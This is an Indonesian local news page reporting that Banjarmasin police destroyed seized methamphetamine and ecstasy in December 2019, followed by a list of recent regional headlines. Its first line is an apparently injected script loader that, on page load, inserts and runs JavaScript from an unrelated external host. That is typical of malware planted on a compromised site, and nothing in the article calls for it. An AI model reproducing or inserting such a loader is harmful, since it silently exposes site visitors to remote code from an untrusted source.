(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

1,8 Kg Sabu dan 132 Butir Ekstasi Dimusnahkan Satresnarkoba Polresta Banjarmasin


BANJARMASIN, Jajaran Satresnarkoba Polresta Banjarmasin melakukan pemusnahan barang bukti narkoba berupa sabu sebanyak 1,8 kg lebih dan 132 butir ekstasi dengan berat 49,66 gram. Barang tersebut merupakan hasil tangkapan dari sejumlah kasus yang ditangani pada Oktober-Desember 2019.

Kasatresnarkoba Polresta Banjarmasin Kompol Wahyu Hidayat di RS Ansari Saleh Banjarmasin, Rabu (11/12) siangmengatakan, total 15 tersangka yang diamankan dari 13 laporan polisi yang ditangkap Satresnarkoba Polresta Banjarmasin. Sementara, tangkapan dari beberapa polsek di wilayah hukum Polresta Banjarmasin merupakan pemain tunggal.

“(Kalau) residivis kemungkinan ada,” sebut Kompol Wahyu.

Dari hasil pengungkapan selama 3 bulan, jajaran Satresnarkoba Polresta Banjarmasin berhasil menyelamatkan sedikitnya 27.225 jiwa dari bahaya narkotika. “Dengan estimasi 1 gram narkoba kenis sabu dapat dipakai oleh 15 orang, dan 1 butir ekstasi dapat dipakai oleh 1 orang,” ungkapnya.

Lalu, dari mana saja barang haram ini berasal? Kompol Wahyu membeberkan, sabu-sabu dan ekstasi yang dimusnahkan berasal dari provinsi tetangga. Seperti Provinsi Kalbar dan Provinsi Kaltim.

Kendati demikian, pihaknya belum bisa memetakan titik rawan peredaran sabu-sabu di Kota Banjarmasin, karena transaksinya sering berpindah tempat. Bahkan, tidak menutup kemungkinan transaksinya dilakukan di luar kota.

“Sudah cukup lama modus itu. Artinya mereka cari aman, pembeli dan penjual tidak bertemu. Misalnya, ada bandar narkoba dan saling kontak, (yang) nantinya akan ada yang mengantarkan. Tidak lama setelah telepon menggunakan nomor pribadi dan diarahkan,” paparnya.

Untuk pemusnahan barang bukti sendiri, Satresnarkoba Polresta Banjarmasin konsisten dengan menggunakan fasilitas incenerator yang dimiliki oleh RSUD Ansari Saleh Banjarmasin. Tujuannya, agar tidak mencemari lingkungan. Dengan menggunakan incenerator, maka barang bukti narkoba langsung menjadi uap. Sehingga, tidak memcemari lingkungan.

“Sebenarnya tidak masalah menggunakan blender, cuma saat kita buang ke saluran air akan jadi limbah,” pungkas Kompol Wahyu. (fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

2 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

2 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

3 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

8 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

9 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

23 jam ago

This website uses cookies.